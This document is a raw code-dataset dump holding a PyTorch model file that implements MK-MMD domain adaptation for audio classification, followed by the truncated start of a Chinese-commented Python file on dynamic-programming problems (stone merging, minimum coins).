track_running_stats is set to ``True``\n\n Inputs:\n - X (tensor): input group :math:`X`\n\n Shape:\n - Inputs: :math:`(minibatch, F)` where F means the dimension of input features.\n - Outputs: :math:`(minibatch, minibatch)`\n \"\"\"\n\n def __init__(self, sigma: Optional[float] = None, track_running_stats: Optional[bool] = True,\n alpha: Optional[float] = 1.):\n super(GaussianKernel, self).__init__()\n assert track_running_stats or sigma is not None\n self.sigma_square = torch.tensor(sigma * sigma) if sigma is not None else None\n self.track_running_stats = track_running_stats\n self.alpha = alpha\n\n def forward(self, X: torch.Tensor) -> torch.Tensor:\n l2_distance_square = ((X.unsqueeze(0) - X.unsqueeze(1)) ** 2).sum(2)\n\n if self.track_running_stats:\n self.sigma_square = self.alpha * torch.mean(l2_distance_square.detach())\n\n return torch.exp(-l2_distance_square / (2 * self.sigma_square))\n\n\ndef optimal_kernel_combinations(kernel_values: List[torch.Tensor]) -> torch.Tensor:\n # use quadratic program to get optimal kernel\n num_kernel = len(kernel_values)\n kernel_values_numpy = array([float(k.detach().cpu().data.item()) for k in kernel_values])\n if np.all(kernel_values_numpy <= 0):\n beta = solve_qp(\n P=-np.eye(num_kernel),\n q=np.zeros(num_kernel),\n A=kernel_values_numpy,\n b=np.array([-1.]),\n G=-np.eye(num_kernel),\n h=np.zeros(num_kernel),\n )\n else:\n beta = solve_qp(\n P=np.eye(num_kernel),\n q=np.zeros(num_kernel),\n A=kernel_values_numpy,\n b=np.array([1.]),\n G=-np.eye(num_kernel),\n h=np.zeros(num_kernel),\n )\n beta = beta / beta.sum(axis=0) * num_kernel # normalize\n return sum([k * b for (k, b) in zip(kernel_values, beta)])\n\n\nclass MultipleKernelMaximumMeanDiscrepancy(nn.Module):\n r\"\"\"The Multiple Kernel Maximum Mean Discrepancy (MK-MMD) used in\n `Learning Transferable Features with Deep Adaptation Networks `_\n\n Given source domain :math:`\\mathcal{D}_s` of :math:`n_s` labeled points and target domain :math:`\\mathcal{D}_t`\n of :math:`n_t` unlabeled points drawn i.i.d. from P and Q respectively, the deep networks will generate\n activations as :math:`\\{z_i^s\\}_{i=1}^{n_s}` and :math:`\\{z_i^t\\}_{i=1}^{n_t}`.\n The MK-MMD :math:`D_k (P, Q)` between probability distributions P and Q is defined as\n\n .. math::\n D_k(P, Q) \\triangleq \\| E_p [\\phi(z^s)] - E_q [\\phi(z^t)] \\|^2_{\\mathcal{H}_k},\n\n :math:`k` is a kernel function in the function space\n\n .. math::\n \\mathcal{K} \\triangleq \\{ k=\\sum_{u=1}^{m}\\beta_{u} k_{u} \\}\n\n where :math:`k_{u}` is a single kernel.\n\n Using kernel trick, MK-MMD can be computed as\n\n .. math::\n \\hat{D}_k(P, Q) &=\n \\dfrac{1}{n_s^2} \\sum_{i=1}^{n_s}\\sum_{j=1}^{n_s} k(z_i^{s}, z_j^{s}) \\\\\n &+ \\dfrac{1}{n_t^2} \\sum_{i=1}^{n_t}\\sum_{j=1}^{n_t} k(z_i^{t}, z_j^{t}) \\\\\n &- \\dfrac{2}{n_s n_t} \\sum_{i=1}^{n_s}\\sum_{j=1}^{n_t} k(z_i^{s}, z_j^{t}). \\\\\n\n Parameters:\n - **kernels** (tuple(`nn.Module`)): kernel functions.\n - **linear** (bool): whether use the linear version of DAN. Default: False\n - **quadratic_program** (bool): whether use quadratic program to solve :math:`\\beta`. Default: False\n\n Inputs: z_s, z_t\n - **z_s** (tensor): activations from the source domain, :math:`z^s`\n - **z_t** (tensor): activations from the target domain, :math:`z^t`\n\n Shape:\n - Inputs: :math:`(minibatch, *)` where * means any dimension\n - Outputs: scalar\n\n .. note::\n Activations :math:`z^{s}` and :math:`z^{t}` must have the same shape.\n\n .. note::\n The kernel values will add up when there are multiple kernels.\n\n Examples::\n >>> from dalib.modules.kernels import GaussianKernel\n >>> feature_dim = 1024\n >>> batch_size = 10\n >>> kernels = (GaussianKernel(alpha=0.5), GaussianKernel(alpha=1.), GaussianKernel(alpha=2.))\n >>> loss = MultipleKernelMaximumMeanDiscrepancy(kernels)\n >>> # features from source domain and target domain\n >>> z_s, z_t = torch.randn(batch_size, feature_dim), torch.randn(batch_size, feature_dim)\n >>> output = loss(z_s, z_t)\n \"\"\"\n\n def __init__(self, kernels: Sequence[nn.Module], linear: Optional[bool] = False,\n quadratic_program: Optional[bool] = False):\n super(MultipleKernelMaximumMeanDiscrepancy, self).__init__()\n self.kernels = kernels\n self.index_matrix = None\n self.linear = linear\n self.quadratic_program = quadratic_program\n\n def forward(self, z_s: torch.Tensor, z_t: torch.Tensor) -> torch.Tensor:\n features = torch.cat([z_s, z_t], dim=0)\n batch_size = int(z_s.size(0))\n self.index_matrix = _update_index_matrix(batch_size, self.index_matrix, self.linear).to(z_s.device)\n\n if not self.quadratic_program:\n kernel_matrix = sum([kernel(features) for kernel in self.kernels]) # Add up the matrix of each kernel\n # Add 2 / (n-1) to make up for the value on the diagonal\n # to ensure loss is positive in the non-linear version\n loss = (kernel_matrix * self.index_matrix).sum() + 2. / float(batch_size - 1)\n else:\n kernel_values = [(kernel(features) * self.index_matrix).sum() + 2. / float(batch_size - 1) for kernel in self.kernels]\n loss = optimal_kernel_combinations(kernel_values)\n return loss\n\n\ndef _update_index_matrix(batch_size: int, index_matrix: Optional[torch.Tensor] = None,\n linear: Optional[bool] = True) -> torch.Tensor:\n r\"\"\"\n Update the `index_matrix` which convert `kernel_matrix` to loss.\n If `index_matrix` is a tensor with shape (2 x batch_size, 2 x batch_size), then return `index_matrix`.\n Else return a new tensor with shape (2 x batch_size, 2 x batch_size).\n \"\"\"\n if index_matrix is None or index_matrix.size(0) != batch_size * 2:\n index_matrix = torch.zeros(2 * batch_size, 2 * batch_size)\n if linear:\n for i in range(batch_size):\n s1, s2 = i, (i + 1) % batch_size\n t1, t2 = s1 + batch_size, s2 + batch_size\n index_matrix[s1, s2] = 1. / float(batch_size)\n index_matrix[t1, t2] = 1. / float(batch_size)\n index_matrix[s1, t2] = -1. / float(batch_size)\n index_matrix[s2, t1] = -1. / float(batch_size)\n else:\n for i in range(batch_size):\n for j in range(batch_size):\n if i != j:\n index_matrix[i][j] = 1. / float(batch_size * (batch_size - 1))\n index_matrix[i + batch_size][j + batch_size] = 1. / float(batch_size * (batch_size - 1))\n for i in range(batch_size):\n for j in range(batch_size):\n index_matrix[i][j + batch_size] = -1. / float(batch_size * batch_size)\n index_matrix[i + batch_size][j] = -1. / float(batch_size * batch_size)\n return index_matrix\n\ndef nll_loss(output, target):\n '''Negative likelihood loss. The output should be obtained using F.log_softmax(x). \n \n Args:\n output: (N, classes_num)\n target: (N, classes_num)\n '''\n loss = - torch.mean(target * output)\n return loss\ndef to_np(x):\n return x.detach().cpu().numpy()\n\n\ndef to_tensor(x, device='cuda'):\n if isinstance(x, np.ndarray):\n x = torch.from_numpy(x).to(device)\n else:\n x = x.to(device)\n return x\n\ndef init_layer(layer, nonlinearity='leaky_relu'):\n \"\"\"Initialize a Linear or Convolutional layer. \"\"\"\n nn.init.kaiming_uniform_(layer.weight, nonlinearity=nonlinearity)\n\n if hasattr(layer, 'bias'):\n if layer.bias is not None:\n layer.bias.data.fill_(0.)\n \n \ndef init_bn(bn):\n \"\"\"Initialize a Batchnorm layer. \"\"\"\n \n bn.bias.data.fill_(0.)\n bn.running_mean.data.fill_(0.)\n bn.weight.data.fill_(1.)\n bn.running_var.data.fill_(1.)\nclass nnMeanAndMax(nn.Module):\n def __init__(self):\n super(nnMeanAndMax,self).__init__()\n def forward(self,x):\n x = torch.mean(x,dim=-1)\n (x, _) = torch.max(x,dim=-1)\n return x\nclass nnSqueeze(nn.Module):\n def __init__(self):\n super(nnSqueeze, self).__init__()\n\n def forward(self, x):\n return torch.squeeze(x) # 去掉维数为1的的维度\nclass ConvBlock(nn.Module):\n def __init__(self, in_channels, out_channels):\n \n super(ConvBlock, self).__init__()\n \n self.conv1 = nn.Conv2d(in_channels=in_channels, \n out_channels=out_channels,\n kernel_size=(3, 3), stride=(1, 1),\n padding=(1, 1), bias=False)\n \n self.conv2 = nn.Conv2d(in_channels=out_channels, \n out_channels=out_channels,\n kernel_size=(3, 3), stride=(1, 1),\n padding=(1, 1), bias=False)\n \n self.bn1 = nn.BatchNorm2d(out_channels)\n self.bn2 = nn.BatchNorm2d(out_channels)\n \n self.init_weights()\n \n def init_weights(self):\n \n init_layer(self.conv1)\n init_layer(self.conv2)\n init_bn(self.bn1)\n init_bn(self.bn2)\n \n def forward(self, input, pool_size=(2, 2), pool_type='avg'):\n \n x = input\n x = F.relu_(self.bn1(self.conv1(x)))\n x = F.relu_(self.bn2(self.conv2(x)))\n if pool_type == 'max':\n x = F.max_pool2d(x, kernel_size=pool_size)\n elif pool_type == 'avg':\n x = F.avg_pool2d(x, kernel_size=pool_size)\n else:\n raise Exception('Incorrect argument!')\n \n return x\n \n \nclass Cnn_9layers_AvgPooling(nn.Module):\n \n def __init__(self, classes_num, activation):\n super(Cnn_9layers_AvgPooling, self).__init__()\n\n self.activation = activation\n\n self.conv_block1 = ConvBlock(in_channels=1, out_channels=64)\n self.conv_block2 = ConvBlock(in_channels=64, out_channels=128)\n self.conv_block3 = ConvBlock(in_channels=128, out_channels=256)\n self.conv_block4 = ConvBlock(in_channels=256, out_channels=512)\n\n self.fc = nn.Linear(512, classes_num, bias=True)\n\n self.init_weights()\n\n def init_weights(self):\n\n init_layer(self.fc)\n\n def forward(self, input):\n '''\n Input: (batch_size, times_steps, freq_bins)'''\n \n x = input[:, None, :, :]\n '''(batch_size, 1, times_steps, freq_bins)'''\n \n x = self.conv_block1(x, pool_size=(2, 2), pool_type='avg')\n x = self.conv_block2(x, pool_size=(2, 2), pool_type='avg')\n x = self.conv_block3(x, pool_size=(2, 2), pool_type='avg')\n x = self.conv_block4(x, pool_size=(1, 1), pool_type='avg')\n '''(batch_size, feature_maps, time_steps, freq_bins)'''\n \n x = torch.mean(x, dim=3) # (batch_size, feature_maps, time_stpes)\n (x, _) = torch.max(x, dim=2) # (batch_size, feature_maps)\n x = self.fc(x)\n \n if self.activation == 'logsoftmax':\n output = F.log_softmax(x, dim=-1)\n \n elif self.activation == 'sigmoid':\n output = torch.sigmoid(x)\n \n return output\n\n\nclass EncoderMMDWithoutIndex(nn.Module):\n def __init__(self, classes_num, activation):\n super(EncoderMMDWithoutIndex, self).__init__()\n\n self.activation = activation\n\n self.conv_block1 = ConvBlock(in_channels=1, out_channels=64)\n self.conv_block2 = ConvBlock(in_channels=64, out_channels=128)\n self.conv_block3 = ConvBlock(in_channels=128, out_channels=256)\n self.conv_block4 = ConvBlock(in_channels=256, out_channels=512)\n #self.feature = None\n self.target = None\n # self.z_adapt_feature = None\n # self.adatp_fc = nn.Linear(512,512)\n self.fc = nn.Linear(512, classes_num, bias=True)\n\n self.init_weights()\n def init_weights(self):\n init_layer(self.fc)\n def forward(self, x, u):\n\n \"\"\"\n :param x: (batch_size, times_steps, freq_bins)\n :param u: (batch_size,)\n :return:\n \"\"\"\n # print('x ',x.shape)\n # print('u ',u.shape)\n tmp_y = u\n # u_new = torch.reshape(u,(u.shape[0],1,1))\n # # print('u_new ',u_new.shape)\n # u_new = u_new.repeat((1,x.shape[1],1))\n # print('u_new2 ',u_new.shape)\n #x = torch.cat((x,u_new),dim=-1) # (b,1,t,f+1)\n # print('x0 ',x.shape)\n x = x[:,None,:,:]\n # print('x1 ',x.shape)\n x = self.conv_block1(x, pool_size=(2, 2), pool_type='avg') \n # print('x_conv1 ',x.shape)\n x = self.conv_block2(x, pool_size=(2, 2), pool_type='avg')\n # print('x_conv2 ',x.shape)\n x = self.conv_block3(x, pool_size=(2, 2), pool_type='avg') # (batch_size, feature_maps, time_steps, freq_bins+1)\n E = x\n # print('x_cov3 ',x.shape)\n z = self.conv_block4(x, pool_size=(1, 1), pool_type='avg')\n # print('z ',z.shape)\n z = torch.mean(z, dim=3) # (batch_size, feature_maps, time_stpes)\n # print('z_mean ',z.shape)\n (z, _) = torch.max(z, dim=2) # (batch_size, feature_maps)\n # z_adapt = self.adatp_fc(z)\n # print('z_max ',z.shape)\n E_z = z\n # z_o = z_adapt\n z = self.fc(z)\n # print('z_fc ',z.shape)\n if self.activation == 'logsoftmax':\n output = F.log_softmax(z, dim=-1)\n \n elif self.activation == 'sigmoid':\n output = torch.sigmoid(z)\n # print('output ',output.shape)\n #self.feature = E.detach()\n self.target = tmp_y.detach()\n # self.z_adapt_feature = z_o.detach() # 保存中间变量\n return output,E_z\nclass DiscConv(nn.Module):\n def __init__(self, nin, nout):\n super(DiscConv, self).__init__()\n nh = 512\n self.net = nn.Sequential(\n nn.Conv2d(nin, nh, 1, 1, 0), nn.BatchNorm2d(nh), nn.LeakyReLU(),\n nn.Conv2d(nh, nh, 1, 1, 0), nn.BatchNorm2d(nh), nn.LeakyReLU(),\n nn.Conv2d(nh, nh, 1, 1, 0), nn.BatchNorm2d(nh), nn.LeakyReLU(),\n nnMeanAndMax(),\n nn.Linear(nh, nout),\n )\n # print(self.net)\n\n def forward(self, x):\n # print('x_DiscConv ',x.shape)\n return self.net(x)\n\nclass BaseModel(nn.Module):\n def __init__(self, opt):\n super(BaseModel, self).__init__()\n self.opt = opt\n self.tsne = TSNE(n_components=2)\n self.pca = PCA(n_components=2)\n\n self.train_log = opt.outf + '/MMD.log'\n self.model_path = opt.outf + '/MMD.pth'\n self.logger = Logger(opt.outf)\n self.best_acc_tgt = 0\n\n def init_weight(self, net=None):\n if net is None:\n net = self\n for m in net.modules():\n if isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, mean=0, std=0.01)\n nn.init.constant_(m.bias, val=0)\n\n def set_requires_grad(self, nets, requires_grad=False):\n if not isinstance(nets, list):\n nets = [nets]\n for net in nets:\n if net is not None:\n for param in net.parameters():\n param.requires_grad = requires_grad\n\n def save(self):\n torch.save(self.state_dict(), self.model_path)\n\n def load(self):\n try:\n print('load model from {}'.format(self.model_path))\n self.load_state_dict(torch.load(self.model_path))\n print('done!')\n except:\n print('failed!')\n\n def acc_reset_mnist(self):\n self.hit_domain, self.cnt_domain = np.zeros(10), np.zeros(10)\n self.acc_source, self.acc_target = 0, 0\n self.cnt_source, self.cnt_target = 0, 0\n self.hit_source, self.hit_target = 0, 0\n\n def acc_update_mnist(self):\n Y = to_np(self.y)\n G = to_np(self.g)\n T = to_np(self.domain) # self.domain : 所属的域[0,5]\n # print('Y ',Y)\n # print('G ',G.shape)\n # print('T ',T.shape)\n\n # print('G ',G)\n # print('T ',T)\n T = (T * 10).astype(np.int32) #[0,9]\n # T[T >= 8] = 7 # 大于8,强制转7\n hit = (Y == G).astype(np.float32) # 是否预测正确\n # print('hit ',hit)\n is_s = to_np(self.is_source)\n # print('is_s ',is_s)\n for i in range(9): # 分别计算每个域的数量和命中的数量\n self.hit_domain[i+1] += hit[T == (i+1)].sum() # 第i+1个域 命中的个数之和\n self.cnt_domain[i+1] += (T == (i+1)).sum() # 该batch中,第i+1个域的样本总数\n self.acc_domain = self.hit_domain / (self.cnt_domain + 1e-10) # 每个域的命中率\n #self.acc_source, self.acc_target = self.acc_domain[5], np.concatenate([self.acc_domain[0:5],self.acc_domain[6:]],axis=0).mean() # 合并源域和目标域\n self.acc_source, self.acc_target = self.acc_domain[1], self.acc_domain[2:10].mean() # 合并源域和目标域\n self.acc_domain = np.round(self.acc_domain, decimals=3)\n self.acc_source = np.round(self.acc_source, decimals=3) # 源域准确率\n self.acc_target = np.round(self.acc_target, decimals=3) # 目标域准确率\n\n self.cnt_source += (is_s == 1).sum() # 源域的数量\n self.cnt_target += (is_s == 0).sum() # 目标域的数量\n\n self.hit_source += (hit[is_s == 1]).sum() #源域命中数量\n self.hit_target += (hit[is_s == 0]).sum() # 目标域命中数量\n # [1 1 1 1 4 1 2 1 1 1 1 6 1 1 1 1 3 3 1 3 1 5 1 1 1 1 5 1 1 1 1 1]\n def set_input(self, input):\n # print('set_input ')\n self.x, self.y, self.u, self.domain = input\n # print('self.u ',self.u)\n # print('self.domain ',self.domain)\n self.domain = self.domain[:, 0]/10.0\n self.u = self.u[:,0]/10.0\n \n #self.u = \n #print('self.domain_new ',self.domain)\n self.is_source = (self.domain*10 <= 1).to(torch.float) # asc中只要判断是否为1\n \n def print_log(self):\n print(self.loss_msg)\n print(self.acc_msg)\n with open(self.train_log, 'a') as f:\n f.write(self.loss_msg + '\\n')\n f.write(self.acc_msg + '\\n')\n print('acc_a ',self.acc_domain[1])\n print('acc_1 ',self.acc_domain[2])\n print('acc_2 ',self.acc_domain[3])\n print('acc_3 ',self.acc_domain[4])\n print('acc_4 ',self.acc_domain[5])\n print('acc_5 ',self.acc_domain[6])\n print('acc_6 ',self.acc_domain[7])\n print('acc_7 ',self.acc_domain[8])\n print('acc_8 ',self.acc_domain[9])\n #print('acc_9 ',self.acc_domain[9])\n def print_log2(self):\n print(self.loss_msg)\n print(self.acc_msg)\n with open(self.train_log, 'a') as f:\n f.write(self.loss_msg + '\\n')\n f.write(self.acc_msg + '\\n')\n print('acc_a ',self.acc_domain[5])\n print('acc_b ',self.acc_domain[4])\n print('acc_c ',self.acc_domain[6])\n print('acc_s1 ',self.acc_domain[3])\n print('acc_s2 ',self.acc_domain[7])\n print('acc_s3 ',self.acc_domain[2])\n print('acc_s4 ',self.acc_domain[8])\n print('acc_s5 ',self.acc_domain[1])\n print('acc_s6 ',self.acc_domain[9])\n def learn(self, epoch, dataloader):\n self.epoch = epoch\n self.train()\n\n loss_curve = {\n loss: []\n for loss in self.loss_names\n }\n self.acc_reset_mnist()\n # print('dataloader ',len(dataloader))\n # print('dataloader[0]',dataloader[0])\n bar = ProgressBar()\n \n for data in bar(dataloader):\n x, y, t, is_source = [to_tensor(_, self.opt.device) for _ in data]\n # print('t ',t)\n # print('is_source ',is_source)\n self.set_input(input=(x, y, t, is_source))\n self.optimize_parameters()\n\n for loss in self.loss_names:\n loss_curve[loss].append(getattr(self, 'loss_' + loss).detach().item())\n\n self.acc_update_mnist()\n\n self.loss_msg = '[Train][{}] Loss:'.format(epoch)\n for loss in self.loss_names:\n self.loss_msg += ' {} {:.3f}'.format(loss, np.mean(loss_curve[loss]))\n self.acc_msg = '[Train][{}] Acc: source {:.3f} ({}/{}) target {:.3f} ({}/{})'.format(\n epoch, self.acc_source, self.hit_source, self.cnt_source,\n self.acc_target, self.hit_target, self.cnt_target)\n self.print_log()\n\n for lr_scheduler in self.lr_schedulers:\n lr_scheduler.step()\n\n self.logger.add_scalar('AccSrc', self.acc_source, epoch)\n self.logger.add_scalar('AccTgt', self.acc_target, epoch)\n\n def test(self, epoch, dataloader, flag_save=True):\n self.eval()\n self.acc_reset()\n for data in dataloader:\n x, y, t, is_source = [to_tensor(_, self.opt.device) for _ in data]\n self.set_input(input=(x, y, t, is_source))\n self.forward()\n self.acc_update()\n\n self.best_acc_tgt = max(self.best_acc_tgt, self.acc_target)\n if self.best_acc_tgt == self.acc_target and flag_save:\n self.save()\n\n self.acc_msg = '[Test][{}] Acc: source {:.3f} target {:.3f} best {:.3f}'.format(\n epoch, self.acc_source, self.acc_target, self.best_acc_tgt)\n self.loss_msg = ''\n self.print_log()\n\n def eval_mnist(self, dataloader):\n self.eval()\n self.acc_reset_mnist()\n for data in dataloader:\n x, y, t, is_source = [to_tensor(_, self.opt.device) for _ in data]\n self.set_input(input=(x, y, t, is_source))\n self.forward()\n self.acc_update_mnist()\n self.loss_msg = ''\n self.acc_msg = f'Eval MNIST: {self.acc_domain} src: {self.acc_source} tgt:{self.acc_target}'\n self.print_log()\n return self.acc_target\n\n def gen_result_table(self, dataloader):\n\n res = PrettyTable()\n\n res.field_names = [\"Accuracy\"] + [\"Source\"] + [f\"Target #{i}\" for i in range(1, 9)]\n\n hit = np.zeros((10, 9))\n cnt = np.zeros((10, 9))\n\n for data in dataloader:\n x, y, t, is_source = [to_tensor(_, self.opt.device) for _ in data]\n self.set_input(input=(x, y, t, is_source))\n self.forward()\n\n Y = to_np(self.y)\n G = to_np(self.g)\n T = to_np(self.domain)\n #print('self.u ',self.u)\n T = (T * 10).astype(np.int32)\n #print('T ',T)\n T[T >= 9] = 9\n\n for label, pred, domain in zip(Y, G, T):\n #print(label,domain,pred)\n hit[int(label), int(domain-1)] += int(label == pred)\n cnt[int(label), int(domain-1)] += 1\n\n for c in range(10):\n #print('hit,cnt ',hit[c],cnt[c])\n res.add_row([f\"Class {c}\"] + list(np.round(100 * hit[c] / cnt[c], decimals=1)))\n\n res.add_row([f\"Total\"] + list(np.round(100 * hit.sum(0) / cnt.sum(0), decimals=1)))\n #print('average ',)\n print(res)\n\nclass Classifier(nn.Module):\n def __init__(self, in_dim,out_dim):\n super(Classifier, self).__init__()\n self.fc_adapt = nn.Linear(in_dim,in_dim)\n self.fc = nn.Linear(in_dim, out_dim, bias=True)\n self.feature = None\n #self.target = None\n self.init_weights()\n def init_weights(self):\n init_layer(self.fc)\n init_layer(self.fc_adapt)\n def forward(self, x):\n\n \"\"\"\n :param x: (batch_size, bins)\n :return:\n \"\"\"\n x = self.fc_adapt(x)\n A_x = x\n z = self.fc(x)\n # print('z_fc ',z.shape)\n output = F.log_softmax(z, dim=-1)\n self.feature = A_x.detach()\n return output, x\n\nclass MMD(BaseModel):\n def __init__(self,opt):\n super(MMD,self).__init__(opt)\n self.opt = opt\n self.netE = EncoderMMDWithoutIndex(10,activation='logsoftmax')\n self.optimizer_G = torch.optim.Adam(self.netE.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n self.lr_scheduler_G = lr_scheduler.ExponentialLR(optimizer=self.optimizer_G, gamma=0.5 ** (1 / 50))\n self.lr_schedulers = [self.lr_scheduler_G]\n self.train_log = opt.outf + '/MMD_pre_train.log'\n self.model_path = opt.outf + '/MMD_pre_train.pth'\n self.lambda_gan = opt.lambda_gan\n self.loss_names = ['E_pred']\n def set_input(self, input):\n self.x, self.y, self.u, self.domain = input\n self.u = (self.u[:,0]<=1).to(torch.float)\n #print('self.u ',self.u)\n self.domain = self.domain[:,0]/10.0\n self.is_source = (self.domain*10 <= 1).to(torch.float)\n def forward(self):\n self.f , self.e= self.netE(self.x, self.domain) # 换domain\n self.g = torch.argmax(self.f.detach(), dim=1) # self.g为最后的预测\n def backward_G(self):\n self.y_source = self.y[self.is_source == 1]\n self.f_source = self.f[self.is_source == 1]\n self.loss_E_pred = F.nll_loss(self.f_source, self.y_source.long())\n self.loss_E_pred.backward() \n\n def optimize_parameters(self):\n self.forward()\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n\nclass Adapt_MMD(BaseModel):\n def __init__(self,opt):\n super(Adapt_MMD,self).__init__(opt)\n self.opt = opt\n self.source_net = opt.netS\n # self.target_net = opt.netT\n self.classifier = Classifier(512,10)\n self.optimizer_G = torch.optim.Adam([\n {'params': self.source_net.netE.conv_block3.parameters()},\n {'params': self.source_net.netE.conv_block4.parameters()},\n {'params': self.classifier.parameters(),'lr': opt.lr*10}], lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n #self.optimizer_G = torch.optim.Adam(self.source_net.netE.parameters(),lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n self.mkmmd_loss = MultipleKernelMaximumMeanDiscrepancy(\n kernels=[GaussianKernel(alpha=2 ** k) for k in range(-3, 2)],\n linear=not False, quadratic_program=False)\n # self.optimizer_D = torch.optim.Adam(self.netD.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n self.lr_scheduler_G = lr_scheduler.ExponentialLR(optimizer=self.optimizer_G, gamma=0.5 ** (1 / 50))\n # self.lr_scheduler_D = lr_scheduler.ExponentialLR(optimizer=self.optimizer_D, gamma=0.5 ** (1 / 50))\n self.lr_schedulers = [self.lr_scheduler_G]\n self.train_log = opt.outf + '/MMD_adapt_train.log'\n self.model_path = opt.outf + '/MMD_adapt_train.pth'\n self.lambda_gan = opt.lambda_gan\n self.loss_names = ['E_pred']\n\n def forward(self):\n self.f_tmp ,self.e = self.source_net.netE(self.x, self.domain) # 换domain\n # print('self.e ',self.e.shape)\n self.f, self.adapt = self.classifier(self.e)\n # print('self.adapt ',self.adapt.shape)\n self.g = torch.argmax(self.f.detach(), dim=1) # self.g为最后的预测\n def backward_G(self):\n self.y_source = self.y[self.is_source == 1]\n self.f_source = self.f[self.is_source == 1]\n self.adapt_s = self.adapt[self.is_source==1] # 源域的adapt feature\n self.adapt_t = self.adapt[self.is_source==0] # 目标域的 adapt feature\n # print('self.f_source ',self.f_source)\n # print('self.y_source ',self.y_source)\n self.loss_E_pred = F.nll_loss(self.f_source, self.y_source.long())\n if self.adapt_s.shape[0]<=1 or self.adapt_t.shape[0]<=1:\n self.loss = self.loss_E_pred\n else:\n # print(self.adapt_s.shape,self.adapt_t.shape)\n mini_batch = min(self.adapt_s.shape[0],self.adapt_t.shape[0])\n #print('mini_batch ',mini_batch)\n self.transfer_loss = self.mkmmd_loss(self.adapt_s[0:mini_batch,:],self.adapt_t[0:mini_batch,:])\n #print('self.transfer_loss ',self.transfer_loss)\n self.loss = self.transfer_loss*self.lambda_gan + self.loss_E_pred\n self.loss.backward()\n \n\n def optimize_parameters(self):\n self.forward()\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n","repo_name":"yangdongchao/interspeech2021_MTDA","sub_path":"models/MMD_model.py","file_name":"MMD_model.py","file_ext":"py","file_size_in_byte":30772,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"36975810423","text":"\r\n'''\r\n DP -> 问题\r\n 1 石子合并问题: \r\n input: 4 ,[4,4,5,9]\r\n output: 43,54\r\n 2 最少硬币问题:\r\n input:[1,2,5] ,18\r\n output: 5\r\n'''\r\n'''\r\n 第一题:本质就是子问题的求解,寻找到最小最大的答案.\r\n 输入:4,4,5,9\r\n 输出:43,54\r\n 难点:将环转换切换到直线,状态dp的设计,滑动窗口的大小n。\r\n 环切换到直线:n -> 2*n-1 \r\n [4,4,5,9] -> [4,4,5,9,4,4,5]\r\n 前缀和数组:\r\n 这样 i - j的sum可以直接被差分表示出来Sum[j] - Sum[i],i->j本身的消耗\r\n [0, 4, 8, 13, 22, 26, 30, 35, 0, 0, 0]\r\n 状态设计:\r\n 1 dp[i][j] -> 表示从i堆合并到j堆的最小花费/最大花费\r\n 例如:dp[1][3] 从第1个堆到第3个堆的最小花费\r\n :dp[3][1] 从第3个堆到,4,5..n,0,1个堆的最小花费\r\n 2 dp[i][j]:i == j 时候 dp[i][j] == 0\r\n 3 dp[i][j]的行列:行就是我们的直线当前且分点,列就是2*n,确保能形成一个滑动窗口。\r\n 4 4 5 9 4 4 5 9\r\n 4 0 8 21 43 ...\r\n 4 0\r\n 5\r\n 9\r\n 4\r\n 4\r\n 5\r\n dp[1][1] = 0\r\n dp[1][2] = min(dp[1][2],dp[1][1]+dp[2][2]+sum[2] - sum[0]) = 8\r\n dp[1][3] = min(dp[1][3],dp[1][1]+dp[2][3] + sum[3] - sum[0]) = inf\r\n = min(dp[1][3],dp[1][2]+dp[3][3] + sum[3] - sum[0]) = 8 + 13 = 21\r\n dp[1][4] = min(dp[1][4],dp[1][1]+dp[2][4] + sum[4] - sum[0]) = inf\r\n = min(dp[1][4],dp[1][2] + dp[3][4] + sum[4] - sum[0]) = inf\r\n = min(dp[1][4],dp[1][3] + dp[4][4] + sum[4] - sum[0]) = 21 + 22 = 43\r\n 故可以直接推导下来,注意dp的大小设计,主要考虑最后一行延申出去多少\r\n 延申出去 n -2 + 1\r\n \r\n'''\r\n\r\ndef stoneMerge(n,nums):\r\n ans = [0]*(2*n+1)\r\n for i in range(n):\r\n ans[i] = nums[i]\r\n \r\n for i in range(n,2*n):\r\n ans[i] = nums[i-n]\r\n # print(ans)\r\n\r\n Sum = [0]*(3*n-1)\r\n for i in range(1,2*n):\r\n Sum[i] = Sum[i-1] + ans[i-1]\r\n\r\n # print(\"Sum : \",Sum)\r\n min_dp = [[float(\"inf\")]*(3*n-1) for _ in range(3*n - 1)]\r\n max_dp = [[0]*(3*n-1) for _ in range(3*n - 1)]\r\n\r\n # 初始化对角线\r\n for i in range(len(min_dp)):\r\n min_dp[i][i] = 0\r\n \r\n for i in range(1,2*n):\r\n for j in range(i+1,i+n):\r\n s = Sum[j] - Sum[i-1]\r\n for k in range(i,j):\r\n max_dp[i][j] = max(max_dp[i][j],max_dp[i][k]+max_dp[k+1][j] + s)\r\n min_dp[i][j] = min(min_dp[i][j],min_dp[i][k]+min_dp[k+1][j] + s)\r\n\r\n # for i in range(len(min_dp[0])):\r\n # print(min_dp[i])\r\n\r\n minValue = float(\"inf\")\r\n maxValue = 0\r\n for i in range(1,n):\r\n minValue = min(minValue, min_dp[i][i+n-1])\r\n maxValue = max(maxValue, max_dp[i][i + n - 1])\r\n print(minValue,maxValue)\r\n\r\n'''\r\n 典型 0 - 1 背包问题:本质就是0-1背包问题,切勿当作贪心去做了。\r\n 输入:1,2,5\r\n 求解问题:18 -> 既然求18 不如选择从17,选择17不如16...,1开始推导,所以我们只需要知道前一个所用最少零钱兑换的方法就可以知道下一个最少的方法\r\n dp = []*19,dp[0] = 0,dp[18] 最后一个返回值\r\n dp[0] = 0\r\n dp[1] = 1 \r\n dp[2]:注意这个时候coins,可以用1,也可以用2\r\n = min(dp[2],dp[2 - 1] + 1) = 2\r\n = min(dp[2],dp[2-2]+1) = 1\r\n 故dp[2] = 1\r\n dp[3]:同理coins:1,2\r\n = min(dp[3],dp[3-1]+1) = 2\r\n = min(dp[3],dp[3-2]+1) = 2\r\n dp[3] = 2\r\n dp[4]:...同理 = 2\r\n dp[5]:这时候coins:可以使用1,2,5\r\n = 